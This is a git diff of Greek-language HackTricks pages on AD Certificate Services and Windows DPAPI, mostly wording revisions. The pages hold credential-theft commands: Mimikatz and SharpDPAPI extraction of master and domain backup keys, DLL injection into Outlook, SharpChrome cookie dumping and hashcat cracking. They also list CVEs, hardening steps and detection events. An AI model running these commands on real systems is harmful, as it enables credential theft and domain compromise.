Η πρώτη **αξία** των **HackTricks** είναι να προσφέρει **ΔΩΡΕΑΝ** εκπαιδευτικούς πόρους hacking σε **ΟΛΟ** τον κόσμο. Η ομάδα των HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **ΔΩΡΕΑΝ**.
|
||||
|
||||
Αν νομίζετε ότι τα βιβλία HackTricks είναι φτιαγμένα για **εμπορικούς σκοπούς**, είστε **ΤΕΛΕΙΩΣ ΛΑΘΟΣ**.
|
||||
Αν νομίζετε ότι τα βιβλία HackTricks έχουν φτιαχτεί για **εμπορικούς σκοπούς**, είστε **ΤΕΛΕΙΩΣ ΛΑΘΟΣ**.
|
||||
|
||||
Έχουμε χορηγούς γιατί, ακόμα και αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **προσφέρουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμούν. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στα HackTricks μέσω [**Github sponsors**](https://github.com/sponsors/carlospolop), και **σχετικών εταιρειών κυβερνοασφάλειας** να χορηγήσουν τα HackTricks και να **έχουν κάποιες διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** να τοποθετούνται πάντα σε μέρη που τις κάνουν **ορατές** αλλά **δεν διαταράσσουν τη διαδικασία μάθησης** αν κάποιος εστιάζει στο περιεχόμενο.
|
||||
|
||||
Δεν θα βρείτε τα HackTricks γεμάτα ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από τα HackTricks, γιατί τα HackTricks δεν είναι φτιαγμένα για εμπορικούς σκοπούς.
|
||||
Δεν θα βρείτε τα HackTricks γεμάτα ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από τα HackTricks, γιατί τα HackTricks δεν έχουν φτιαχτεί για εμπορικούς σκοπούς.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
|
||||
@ -14,7 +14,7 @@
|
||||
- Το **SubjectAlternativeName** επιτρέπει πρόσθετα ονόματα για το θέμα, ενισχύοντας την ευελιξία αναγνώρισης.
|
||||
- Οι **Βασικοί Περιορισμοί** προσδιορίζουν αν το πιστοποιητικό είναι για μια CA ή μια τελική οντότητα και καθορίζουν περιορισμούς χρήσης.
|
||||
- Οι **Εκτεταμένες Χρήσεις Κλειδιών (EKUs)** καθορίζουν τους συγκεκριμένους σκοπούς του πιστοποιητικού, όπως η υπογραφή κώδικα ή η κρυπτογράφηση email, μέσω Αναγνωριστικών Αντικειμένων (OIDs).
|
||||
- Ο **Αλγόριθμος Υπογραφής** προσδιορίζει τη μέθοδο υπογραφής του πιστοποιητικού.
|
||||
- Ο **Αλγόριθμος Υπογραφής** καθορίζει τη μέθοδο υπογραφής του πιστοποιητικού.
|
||||
- Η **Υπογραφή**, που δημιουργείται με το ιδιωτικό κλειδί του εκδότη, εγγυάται την αυθεντικότητα του πιστοποιητικού.
|
||||
|
||||
### Special Considerations
|
||||
@ -76,7 +76,7 @@
|
||||
4. Της **Υπηρεσίας Εγγραφής Πιστοποιητικών** (CES), σε συνδυασμό με την υπηρεσία Πολιτικής Εγγραφής Πιστοποιητικών (CEP).
|
||||
5. Της **Υπηρεσίας Εγγραφής Δικτύου** (NDES) για συσκευές δικτύου, χρησιμοποιώντας το Απλό Πρωτόκολλο Εγγραφής Πιστοποιητικών (SCEP).
|
||||
|
||||
Οι χρήστες Windows μπορούν επίσης να ζητήσουν πιστοποιητικά μέσω του GUI (`certmgr.msc` ή `certlm.msc`) ή εργαλείων γραμμής εντολών (`certreq.exe` ή της εντολής `Get-Certificate` του PowerShell).
|
||||
Οι χρήστες Windows μπορούν επίσης να ζητήσουν πιστοποιητικά μέσω της GUI (`certmgr.msc` ή `certlm.msc`) ή εργαλείων γραμμής εντολών (`certreq.exe` ή της εντολής `Get-Certificate` του PowerShell).
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
@ -87,7 +87,7 @@ Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
|
||||
### Διαδικασία Πιστοποίησης Kerberos
|
||||
|
||||
Στη διαδικασία πιστοποίησης Kerberos, το αίτημα ενός χρήστη για ένα Ticket Granting Ticket (TGT) υπογράφεται χρησιμοποιώντας το **ιδιωτικό κλειδί** του πιστοποιητικού του χρήστη. Αυτό το αίτημα υποβάλλεται σε πολλές επικυρώσεις από τον ελεγκτή τομέα, συμπεριλαμβανομένης της **έγκυρης** κατάστασης του πιστοποιητικού, της **διαδρομής** και της **κατάστασης ανάκλησης**. Οι επικυρώσεις περιλαμβάνουν επίσης την επαλήθευση ότι το πιστοποιητικό προέρχεται από μια αξιόπιστη πηγή και την επιβεβαίωση της παρουσίας του εκδότη στο **κατάστημα πιστοποιητικών NTAUTH**. Οι επιτυχείς επικυρώσεις οδηγούν στην έκδοση ενός TGT. Το αντικείμενο **`NTAuthCertificates`** στο AD, που βρίσκεται στο:
|
||||
Στη διαδικασία πιστοποίησης Kerberos, το αίτημα ενός χρήστη για ένα Ticket Granting Ticket (TGT) υπογράφεται χρησιμοποιώντας το **ιδιωτικό κλειδί** του πιστοποιητικού του χρήστη. Αυτό το αίτημα υποβάλλεται σε πολλές επικυρώσεις από τον ελεγκτή τομέα, συμπεριλαμβανομένης της **έγκυρης** κατάστασης του πιστοποιητικού, της **διαδρομής** και της **κατάστασης ανάκλησης**. Οι επικυρώσεις περιλαμβάνουν επίσης την επαλήθευση ότι το πιστοποιητικό προέρχεται από μια αξιόπιστη πηγή και την επιβεβαίωση της παρουσίας του εκδότη στο **κατάστημα πιστοποιητικών NTAUTH**. Οι επιτυχείς επικυρώσεις οδηγούν στην έκδοση ενός TGT. Το αντικείμενο **`NTAuthCertificates`** στο AD, που βρίσκεται στη:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
@ -124,27 +124,27 @@ certutil -v -dstemplate
|
||||
|
||||
| Έτος | ID / Όνομα | Επιπτώσεις | Κύρια Σημεία |
|
||||
|------|-----------|--------|----------------|
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Αύξηση προνομίων* μέσω παραποίησης πιστοποιητικών λογαριασμού μηχανής κατά τη διάρκεια του PKINIT. | Η ενημέρωση περιλαμβάνεται στις **10 Μαΐου 2022** ενημερώσεις ασφαλείας. Εισήχθησαν έλεγχοι ελέγχου & ισχυρής αντιστοίχισης μέσω του **KB5014754**; τα περιβάλλοντα θα πρέπει τώρα να είναι σε *Λειτουργία Πλήρους Επιβολής*. citeturn2search0 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Απομακρυσμένη εκτέλεση κώδικα* στους ρόλους AD CS Web Enrollment (certsrv) και CES. | Δημόσιες PoCs είναι περιορισμένες, αλλά τα ευάλωτα στοιχεία IIS είναι συχνά εκτεθειμένα εσωτερικά. Ενημέρωση από **Ιούλιο 2023** Patch Tuesday. citeturn3search0 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Χαμηλά προνομιακοί χρήστες με δικαιώματα εγγραφής θα μπορούσαν να παρακάμψουν **οποιοδήποτε** EKU ή SAN κατά τη διάρκεια της δημιουργίας CSR, εκδίδοντας πιστοποιητικά που χρησιμοποιούνται για την αυθεντικοποίηση πελατών ή την υπογραφή κώδικα, οδηγώντας σε *συμβιβασμό τομέα*. | Αντιμετωπίστηκε στις ενημερώσεις **Απριλίου 2024**. Αφαιρέστε την “Παροχή στην αίτηση” από τα πρότυπα και περιορίστε τα δικαιώματα εγγραφής. citeturn1search3 |
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *Αύξηση δικαιωμάτων* μέσω παραποίησης πιστοποιητικών λογαριασμού μηχανής κατά τη διάρκεια του PKINIT. | Η ενημέρωση περιλαμβάνεται στις **10 Μαΐου 2022** ενημερώσεις ασφαλείας. Εισήχθησαν έλεγχοι ελέγχου & ισχυρής αντιστοίχισης μέσω του **KB5014754**; τα περιβάλλοντα θα πρέπει τώρα να είναι σε κατάσταση *Πλήρους Επιβολής*. |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *Απομακρυσμένη εκτέλεση κώδικα* στους ρόλους AD CS Web Enrollment (certsrv) και CES. | Δημόσιες PoCs είναι περιορισμένες, αλλά τα ευάλωτα στοιχεία IIS είναι συχνά εκτεθειμένα εσωτερικά. Ενημέρωση από **Ιούλιο 2023** Patch Tuesday. |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | Χαμηλά προνόμια χρήστες με δικαιώματα εγγραφής θα μπορούσαν να παρακάμψουν **οποιοδήποτε** EKU ή SAN κατά τη διάρκεια της δημιουργίας CSR, εκδίδοντας πιστοποιητικά που χρησιμοποιούνται για την αυθεντικοποίηση πελατών ή την υπογραφή κώδικα και οδηγώντας σε *συμβιβασμό τομέα*. | Αντιμετωπίστηκε στις ενημερώσεις **Απριλίου 2024**. Αφαιρέστε την “Παροχή στην αίτηση” από τα πρότυπα και περιορίστε τα δικαιώματα εγγραφής. |
|
||||
|
||||
### Χρονοδιάγραμμα σκληρύνσεων της Microsoft (KB5014754)
|
||||
|
||||
Η Microsoft εισήγαγε μια τριφασική διαδικασία (Συμβατότητα → Έλεγχος → Επιβολή) για να μεταφέρει την πιστοποίηση πιστοποιητικών Kerberos μακριά από αδύνατες έμμεσες αντιστοιχίσεις. Από **11 Φεβρουαρίου 2025**, οι ελεγκτές τομέα αλλάζουν αυτόματα σε **Πλήρη Επιβολή** αν η τιμή μητρώου `StrongCertificateBindingEnforcement` δεν έχει οριστεί. Οι διαχειριστές θα πρέπει να:
|
||||
Η Microsoft εισήγαγε μια τριφασική ανάπτυξη (Συμβατότητα → Έλεγχος → Επιβολή) για να μεταφέρει την πιστοποίηση πιστοποιητικών Kerberos μακριά από αδύνατες έμμεσες αντιστοιχίσεις. Από **11 Φεβρουαρίου 2025**, οι ελεγκτές τομέα αλλάζουν αυτόματα σε **Πλήρη Επιβολή** αν η τιμή μητρώου `StrongCertificateBindingEnforcement` δεν έχει οριστεί. Οι διαχειριστές θα πρέπει να:
|
||||
|
||||
1. Ενημερώσουν όλους τους DCs & AD CS servers (Μάιος 2022 ή αργότερα).
|
||||
2. Παρακολουθούν το Event ID 39/41 για αδύνατες αντιστοιχίσεις κατά τη διάρκεια της φάσης *Έλεγχος*.
|
||||
3. Επαναεκδώσουν πιστοποιητικά αυθεντικοποίησης πελατών με τη νέα **επέκταση SID** ή να ρυθμίσουν ισχυρές χειροκίνητες αντιστοιχίσεις πριν από τον Φεβρουάριο 2025. citeturn2search0
|
||||
3. Επαναεκδώσουν πιστοποιητικά αυθεντικοποίησης πελατών με τη νέα **επέκταση SID** ή να ρυθμίσουν ισχυρές χειροκίνητες αντιστοιχίσεις πριν από τον Φεβρουάριο 2025.
|
||||
|
||||
---
|
||||
|
||||
## Βελτιώσεις Ανίχνευσης & Σκληρύνσεων
|
||||
## Ανίχνευση & Βελτιώσεις Σκληρύνσεων
|
||||
|
||||
* Ο **Defender for Identity AD CS sensor (2023-2024)** τώρα επιφανειοποιεί αξιολογήσεις στάσης για ESC1-ESC8/ESC11 και δημιουργεί ειδοποιήσεις σε πραγματικό χρόνο όπως *“Έκδοση πιστοποιητικού ελεγκτή τομέα για μη-DC”* (ESC8) και *“Αποτροπή Εγγραφής Πιστοποιητικού με αυθαίρετες Πολιτικές Εφαρμογής”* (ESC15). Βεβαιωθείτε ότι οι αισθητήρες είναι αναπτυγμένοι σε όλους τους AD CS servers για να επωφεληθούν από αυτές τις ανιχνεύσεις. citeturn5search0
|
||||
* Ο **Defender for Identity AD CS sensor (2023-2024)** τώρα επιφανειοποιεί αξιολογήσεις στάσης για ESC1-ESC8/ESC11 και δημιουργεί ειδοποιήσεις σε πραγματικό χρόνο όπως *“Έκδοση πιστοποιητικού ελεγκτή τομέα για μη-DC”* (ESC8) και *“Αποτροπή Εγγραφής Πιστοποιητικού με αυθαίρετες Πολιτικές Εφαρμογής”* (ESC15). Βεβαιωθείτε ότι οι αισθητήρες είναι αναπτυγμένοι σε όλους τους AD CS servers για να επωφεληθούν από αυτές τις ανιχνεύσεις.
|
||||
* Απενεργοποιήστε ή περιορίστε αυστηρά την επιλογή **“Παροχή στην αίτηση”** σε όλα τα πρότυπα; προτιμήστε ρητά καθορισμένες τιμές SAN/EKU.
|
||||
* Αφαιρέστε **Οποιοσδήποτε Σκοπός** ή **Χωρίς EKU** από τα πρότυπα εκτός αν είναι απολύτως απαραίτητο (αντιμετωπίζει σενάρια ESC2).
|
||||
* Αφαιρέστε **Οποιοσδήποτε Σκοπός** ή **Καμία EKU** από τα πρότυπα εκτός αν είναι απολύτως απαραίτητο (αντιμετωπίζει σενάρια ESC2).
|
||||
* Απαιτήστε **έγκριση διευθυντή** ή αφιερωμένες ροές εργασίας Εγγραφής Πράκτορα για ευαίσθητα πρότυπα (π.χ., WebServer / CodeSigning).
|
||||
* Περιορίστε την εγγραφή ιστού (`certsrv`) και τα endpoints CES/NDES σε αξιόπιστα δίκτυα ή πίσω από αυθεντικοποίηση πιστοποιητικού πελάτη.
|
||||
* Περιορίστε την εγγραφή ιστού (`certsrv`) και τα σημεία CES/NDES σε αξιόπιστα δίκτυα ή πίσω από αυθεντικοποίηση πιστοποιητικού πελάτη.
|
||||
* Επιβάλετε κρυπτογράφηση εγγραφής RPC (`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`) για να μετριάσετε το ESC11.
|
||||
|
||||
---
|
||||
|
||||
@ -21,7 +21,7 @@
|
||||
- **Αποκρυπτογραφήσει οποιαδήποτε δεδομένα έχουν κρυπτογραφηθεί χρησιμοποιώντας DPAPI** με το κλειδί αυτού του χρήστη χωρίς να χρειάζεται να επικοινωνήσει με καμία API
|
||||
- Προσπαθήσει να **σπάσει τον κωδικό πρόσβασης** εκτός σύνδεσης προσπαθώντας να δημιουργήσει το έγκυρο κλειδί DPAPI
|
||||
|
||||
Επιπλέον, κάθε φορά που κάποια δεδομένα κρυπτογραφούνται από έναν χρήστη χρησιμοποιώντας DPAPI, δημιουργείται ένα νέο **master key**. Αυτό το master key είναι το οποίο χρησιμοποιείται πραγματικά για την κρυπτογράφηση των δεδομένων. Κάθε master key συνοδεύεται από ένα **GUID** (Παγκόσμια Μοναδική Ταυτότητα) που το αναγνωρίζει.
|
||||
Επιπλέον, κάθε φορά που κάποια δεδομένα κρυπτογραφούνται από έναν χρήστη χρησιμοποιώντας DPAPI, δημιουργείται ένα νέο **master key**. Αυτό το master key είναι το οποίο χρησιμοποιείται πραγματικά για την κρυπτογράφηση των δεδομένων. Κάθε master key συνοδεύεται από ένα **GUID** (Παγκόσμια Μοναδική Ταυτότητα) που το προσδιορίζει.
|
||||
|
||||
Τα master keys αποθηκεύονται στον **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** φάκελο, όπου `{SID}` είναι ο Αναγνωριστής Ασφαλείας αυτού του χρήστη. Το master key αποθηκεύεται κρυπτογραφημένο με το **`pre-key`** του χρήστη και επίσης με ένα **κλειδί εφεδρείας τομέα** για ανάκτηση (έτσι το ίδιο κλειδί αποθηκεύεται κρυπτογραφημένο 2 φορές με 2 διαφορετικούς κωδικούς).
|
||||
|
||||
@ -47,12 +47,12 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
|
||||
|
||||
### Δημιουργία κλειδιών Μηχανής/Συστήματος
|
||||
|
||||
Αυτό είναι το κλειδί που χρησιμοποιείται για να κρυπτογραφήσει δεδομένα η μηχανή. Βασίζεται στο **DPAPI_SYSTEM LSA secret**, το οποίο είναι ένα ειδικό κλειδί που μπορεί να προσπελαστεί μόνο από τον χρήστη SYSTEM. Αυτό το κλειδί χρησιμοποιείται για να κρυπτογραφήσει δεδομένα που πρέπει να είναι προσβάσιμα από το ίδιο το σύστημα, όπως διαπιστευτήρια επιπέδου μηχανής ή μυστικά σε επίπεδο συστήματος.
|
||||
Αυτό είναι το κλειδί που χρησιμοποιείται για τη μηχανή για την κρυπτογράφηση δεδομένων. Βασίζεται στο **DPAPI_SYSTEM LSA secret**, το οποίο είναι ένα ειδικό κλειδί που μπορεί να προσπελαστεί μόνο από τον χρήστη SYSTEM. Αυτό το κλειδί χρησιμοποιείται για την κρυπτογράφηση δεδομένων που πρέπει να είναι προσβάσιμα από το ίδιο το σύστημα, όπως διαπιστευτήρια επιπέδου μηχανής ή μυστικά σε επίπεδο συστήματος.
|
||||
|
||||
Σημειώστε ότι αυτά τα κλειδιά **δεν έχουν αντίγραφο ασφαλείας τομέα** οπότε είναι προσβάσιμα μόνο τοπικά:
|
||||
Σημειώστε ότι αυτά τα κλειδιά **δεν έχουν αντίγραφο τομέα**, επομένως είναι προσβάσιμα μόνο τοπικά:
|
||||
|
||||
- **Mimikatz** μπορεί να έχει πρόσβαση σε αυτό εκτελώντας dump LSA secrets με την εντολή: `mimikatz lsadump::secrets`
|
||||
- Το μυστικό αποθηκεύεται μέσα στη μητρώο, οπότε ένας διαχειριστής θα μπορούσε να **τροποποιήσει τα δικαιώματα DACL για να έχει πρόσβαση σε αυτό**. Η διαδρομή μητρώου είναι: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
- Το μυστικό αποθηκεύεται μέσα στη μητρώο, επομένως ένας διαχειριστής θα μπορούσε να **τροποποιήσει τα δικαιώματα DACL για να έχει πρόσβαση σε αυτό**. Η διαδρομή μητρώου είναι: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
|
||||
### Προστατευμένα Δεδομένα από DPAPI
|
||||
|
||||
@ -82,7 +82,7 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
```
|
||||
- Με δικαιώματα τοπικού διαχειριστή, είναι δυνατόν να **προσεγγίσετε τη μνήμη LSASS** για να εξάγετε τα κύρια κλειδιά DPAPI όλων των συνδεδεμένων χρηστών και το κλειδί SYSTEM.
|
||||
- Με τοπικά δικαιώματα διαχειριστή, είναι δυνατόν να **προσεγγίσετε τη μνήμη LSASS** για να εξάγετε τα κύρια κλειδιά DPAPI όλων των συνδεδεμένων χρηστών και το κλειδί SYSTEM.
|
||||
```bash
|
||||
# Mimikatz
|
||||
mimikatz sekurlsa::dpapi
|
||||
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
Το εργαλείο **SharpDPAPI** υποστηρίζει επίσης αυτά τα επιχειρήματα για την αποκρυπτογράφηση του masterkey (σημειώστε πώς είναι δυνατόν να χρησιμοποιήσετε το `/rpc` για να αποκτήσετε το κλειδί αντιγράφου ασφαλείας τομέα, το `/password` για να χρησιμοποιήσετε έναν απλό κωδικό πρόσβασης ή το `/pvk` για να καθορίσετε ένα αρχείο ιδιωτικού κλειδιού τομέα DPAPI...):
|
||||
Το εργαλείο **SharpDPAPI** υποστηρίζει επίσης αυτά τα επιχειρήματα για την αποκρυπτογράφηση του masterkey (σημειώστε πώς είναι δυνατό να χρησιμοποιήσετε το `/rpc` για να αποκτήσετε το κλειδί αντιγράφου ασφαλείας τομέα, το `/password` για να χρησιμοποιήσετε έναν απλό κωδικό πρόσβασης ή το `/pvk` για να καθορίσετε ένα αρχείο ιδιωτικού κλειδιού τομέα DPAPI...):
|
||||
```
|
||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
@ -202,7 +202,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
|
||||
```
|
||||
Το εργαλείο **SharpDPAPI** υποστηρίζει επίσης αυτά τα επιχειρήματα για την αποκρυπτογράφηση `credentials|vaults|rdg|keepass|triage|blob|ps` (σημειώστε πώς είναι δυνατό να χρησιμοποιήσετε το `/rpc` για να αποκτήσετε το κλειδί αντιγράφου ασφαλείας τομέα, το `/password` για να χρησιμοποιήσετε έναν απλό κωδικό πρόσβασης, το `/pvk` για να καθορίσετε ένα αρχείο ιδιωτικού κλειδιού τομέα DPAPI, το `/unprotect` για να χρησιμοποιήσετε την τρέχουσα συνεδρία χρηστών...).
|
||||
Το εργαλείο **SharpDPAPI** υποστηρίζει επίσης αυτά τα επιχειρήματα για την αποκρυπτογράφηση `credentials|vaults|rdg|keepass|triage|blob|ps` (σημειώστε πώς είναι δυνατό να χρησιμοποιήσετε το `/rpc` για να αποκτήσετε το κλειδί αντιγράφου ασφαλείας τομέα, το `/password` για να χρησιμοποιήσετε έναν απλό κωδικό πρόσβασης, το `/pvk` για να καθορίσετε ένα αρχείο ιδιωτικού κλειδιού τομέα DPAPI, το `/unprotect` για να χρησιμοποιήσετε τη συνεδρία του τρέχοντος χρήστη...):
|
||||
```
|
||||
Decryption:
|
||||
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
|
||||
@ -234,7 +234,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
|
||||
Ορισμένες εφαρμογές περνούν μια επιπλέον **εντροπία** στην `CryptProtectData`. Χωρίς αυτή την τιμή, το blob δεν μπορεί να αποκρυπτογραφηθεί, ακόμη και αν είναι γνωστό το σωστό masterkey. Η απόκτηση της εντροπίας είναι επομένως απαραίτητη όταν στοχεύουμε σε διαπιστευτήρια που προστατεύονται με αυτόν τον τρόπο (π.χ. Microsoft Outlook, ορισμένοι πελάτες VPN).
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) είναι μια DLL σε λειτουργία χρήστη που συνδέει τις λειτουργίες DPAPI μέσα στη στοχοθετημένη διαδικασία και καταγράφει διαφανώς οποιαδήποτε προαιρετική εντροπία παρέχεται. Η εκτέλεση του EntropyCapture σε **DLL-injection** mode κατά διαδικασιών όπως το `outlook.exe` ή το `vpnclient.exe` θα εξάγει ένα αρχείο που αντιστοιχεί κάθε buffer εντροπίας στη διαδικασία κλήσης και στο blob. Η καταγεγραμμένη εντροπία μπορεί αργότερα να παρασχεθεί στο **SharpDPAPI** (`/entropy:`) ή στο **Mimikatz** (`/entropy:<file>`) προκειμένου να αποκρυπτογραφηθεί τα δεδομένα. citeturn5search0
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) είναι μια DLL σε λειτουργία χρήστη που συνδέει τις λειτουργίες DPAPI μέσα στη στοχοθετημένη διαδικασία και καταγράφει διαφανώς οποιαδήποτε προαιρετική εντροπία παρέχεται. Η εκτέλεση του EntropyCapture σε **DLL-injection** λειτουργία κατά διαδικασιών όπως το `outlook.exe` ή το `vpnclient.exe` θα εξάγει ένα αρχείο που αντιστοιχεί κάθε buffer εντροπίας στη διαδικασία κλήσης και στο blob. Η καταγεγραμμένη εντροπία μπορεί αργότερα να παρασχεθεί στο **SharpDPAPI** (`/entropy:`) ή στο **Mimikatz** (`/entropy:<file>`) προκειμένου να αποκρυπτογραφηθεί τα δεδομένα.
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -244,7 +244,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
|
||||
|
||||
Η Microsoft εισήγαγε μια μορφή masterkey **context 3** ξεκινώντας με τα Windows 10 v1607 (2016). `hashcat` v6.2.6 (Δεκέμβριος 2023) πρόσθεσε hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) και **22102** (context 3) επιτρέποντας την επιτάχυνση cracking των κωδικών πρόσβασης χρηστών απευθείας από το αρχείο masterkey. Οι επιτιθέμενοι μπορούν επομένως να εκτελούν επιθέσεις με λίστες λέξεων ή brute-force χωρίς να αλληλεπιδρούν με το σύστημα-στόχο. citeturn8search1
|
||||
Η Microsoft εισήγαγε μια μορφή masterkey **context 3** ξεκινώντας από τα Windows 10 v1607 (2016). `hashcat` v6.2.6 (Δεκέμβριος 2023) πρόσθεσε hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) και **22102** (context 3) επιτρέποντας την επιτάχυνση cracking των κωδικών πρόσβασης χρηστών απευθείας από το αρχείο masterkey. Οι επιτιθέμενοι μπορούν επομένως να εκτελούν επιθέσεις με λίστες λέξεων ή brute-force χωρίς να αλληλεπιδρούν με το σύστημα-στόχο.
|
||||
|
||||
`DPAPISnoop` (2024) αυτοματοποιεί τη διαδικασία:
|
||||
```bash
|
||||
@ -276,19 +276,18 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) μπορεί να εξάγει μυστικά που προστατεύονται από DPAPI αυτόματα. Η έκδοση 2.x εισήγαγε:
|
||||
|
||||
* Παράλληλη συλλογή blobs από εκατοντάδες hosts
|
||||
* Ανάλυση των **context 3** masterkeys και αυτόματη ενσωμάτωση cracking με Hashcat
|
||||
* Ανάλυση των **context 3** masterkeys και αυτόματη ενσωμάτωσή του Hashcat cracking
|
||||
* Υποστήριξη για κρυπτογραφημένα cookies "App-Bound" του Chrome (βλ. επόμενη ενότητα)
|
||||
* Ένα νέο **`--snapshot`** mode για επαναλαμβανόμενη παρακολούθηση των endpoints και διαφορές στα νεοδημιουργημένα blobs citeturn1search2
|
||||
* Ένα νέο **`--snapshot`** mode για επαναλαμβανόμενη παρακολούθηση των endpoints και διαφορές στα νεοδημιουργημένα blobs
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) είναι ένας αναλυτής C# για αρχεία masterkey/credential/vault που μπορεί να εξάγει μορφές Hashcat/JtR και προαιρετικά να εκκινήσει αυτόματα το cracking. Υποστηρίζει πλήρως τις μορφές masterkey μηχανής και χρήστη μέχρι τα Windows 11 24H1. citeturn2search0
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) είναι ένας αναλυτής C# για αρχεία masterkey/credential/vault που μπορεί να εξάγει μορφές Hashcat/JtR και προαιρετικά να εκκινήσει αυτόματα την αποκρυπτογράφηση. Υποστηρίζει πλήρως τις μορφές masterkey μηχανής και χρήστη μέχρι τα Windows 11 24H1.
|
||||
|
||||
## Κοινές ανιχνεύσεις
|
||||
|
||||
- Πρόσβαση σε αρχεία στο `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` και άλλους σχετικούς με DPAPI καταλόγους.
|
||||
- Ιδιαίτερα από ένα κοινόχρηστο δίκτυο όπως **C$** ή **ADMIN$**.
|
||||
- Ιδιαίτερα από ένα κοινόχρηστο δίκτυο όπως το **C$** ή το **ADMIN$**.
|
||||
- Χρήση του **Mimikatz**, **SharpDPAPI** ή παρόμοιων εργαλείων για πρόσβαση στη μνήμη LSASS ή εξαγωγή masterkeys.
|
||||
- Συμβάν **4662**: *Μια ενέργεια πραγματοποιήθηκε σε ένα αντικείμενο* – μπορεί να συσχετιστεί με την πρόσβαση στο αντικείμενο **`BCKUPKEY`**.
|
||||
- Συμβάν **4673/4674** όταν μια διαδικασία ζητά *SeTrustedCredManAccessPrivilege* (Credential Manager)
|
||||
@ -296,19 +295,18 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
---
|
||||
### Ευπάθειες 2023-2025 & αλλαγές οικοσυστήματος
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (Νοέμβριος 2023). Ένας επιτιθέμενος με πρόσβαση στο δίκτυο θα μπορούσε να εξαπατήσει ένα μέλος τομέα να ανακτήσει ένα κακόβουλο κλειδί αντιγράφου ασφαλείας DPAPI, επιτρέποντας την αποκρυπτογράφηση των masterkeys χρηστών. Διορθώθηκε στην σωρευτική ενημέρωση του Νοεμβρίου 2023 – οι διαχειριστές θα πρέπει να διασφαλίσουν ότι οι DCs και οι σταθμοί εργασίας είναι πλήρως ενημερωμένοι. citeturn4search0
|
||||
* **Κρυπτογράφηση cookie "App-Bound" του Chrome 127** (Ιούλιος 2024) αντικατέστησε την κληρονομική προστασία μόνο DPAPI με ένα επιπλέον κλειδί που αποθηκεύεται κάτω από τον **Credential Manager** του χρήστη. Η εκτός σύνδεσης αποκρυπτογράφηση των cookies απαιτεί τώρα τόσο το masterkey DPAPI όσο και το **GCM-wrapped app-bound key**. Το SharpChrome v2.3 και το DonPAPI 2.x είναι ικανά να ανακτήσουν το επιπλέον κλειδί όταν εκτελούνται με το πλαίσιο χρήστη. citeturn0search0
|
||||
|
||||
